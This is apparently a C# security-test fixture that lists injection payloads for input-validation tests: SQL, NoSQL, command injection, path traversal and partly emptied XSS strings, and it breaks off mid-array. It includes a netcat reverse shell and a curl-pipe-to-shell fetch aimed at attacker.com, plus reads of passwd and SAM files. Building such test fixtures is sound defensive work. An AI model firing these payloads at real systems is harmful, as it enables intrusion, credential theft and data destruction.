// ============================================================================= // MaliciousPayloads.cs // Collection of malicious payloads for security testing // Reference: OWASP Testing Guide, PayloadsAllTheThings // ============================================================================= namespace StellaOps.Security.Tests.Infrastructure; /// /// Malicious payloads for testing input validation and injection vulnerabilities. /// Organized by attack category for use in security tests. /// public static class MaliciousPayloads { /// /// SQL injection payloads for testing database query handling. /// public static class SqlInjection { public static readonly string[] Common = [ "' OR '1'='1", "'; DROP TABLE users; --", "1' OR '1'='1' /*", "admin'--", "1; SELECT * FROM users", "' UNION SELECT * FROM users --", "1' AND '1'='1", "'; WAITFOR DELAY '0:0:5' --", "' OR 1=1 --", "'; EXEC xp_cmdshell('whoami'); --" ]; public static readonly string[] Blind = [ "1' AND SLEEP(5) --", "1' AND (SELECT COUNT(*) FROM users) > 0 --", "' OR IF(1=1, SLEEP(5), 0) --", "1; IF(1=1) WAITFOR DELAY '0:0:5' --" ]; public static readonly string[] NoSql = [ "{ \"$gt\": \"\" }", "{ \"$where\": \"this.password.length > 0\" }", "{ \"$regex\": \".*\" }", "'; return true; var x='", "{ \"$ne\": null }" ]; } /// /// Command injection payloads for testing shell command handling. /// public static class CommandInjection { public static readonly string[] Unix = [ "; cat /etc/passwd", "| ls -la", "`whoami`", "$(id)", "; nc -e /bin/sh attacker.com 4444", "& ping -c 5 attacker.com", "|| touch /tmp/pwned", "; curl http://attacker.com/shell.sh | sh" ]; public static readonly string[] Windows = [ "& dir", "| type C:\\Windows\\System32\\config\\SAM", "; net user", "& whoami", "| powershell -c \"Invoke-WebRequest -Uri http://attacker.com\"", "; cmd /c dir" ]; public static readonly string[] Generic = [ ";", "|", "&", "&&", "||", "\n", "\r\n", "`", "$(", "#{", "%0a" ]; } /// /// Path traversal payloads for testing file system access. /// public static class PathTraversal { public static readonly string[] Common = [ "../../../etc/passwd", "..\\..\\..\\Windows\\System32\\config\\SAM", "....//....//....//etc/passwd", "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd", "..%252f..%252f..%252fetc/passwd", "/etc/passwd%00.jpg", "....\\\\....\\\\....\\\\Windows\\System32\\drivers\\etc\\hosts" ]; public static readonly string[] Null = [ "../../../etc/passwd%00", "..\\..\\..\\boot.ini%00", "%00../../../etc/passwd" ]; } /// /// XSS payloads for testing cross-site scripting vulnerabilities. /// public static class Xss { public static readonly string[] Script = [ "", "", "", "javascript:alert('XSS')", "", "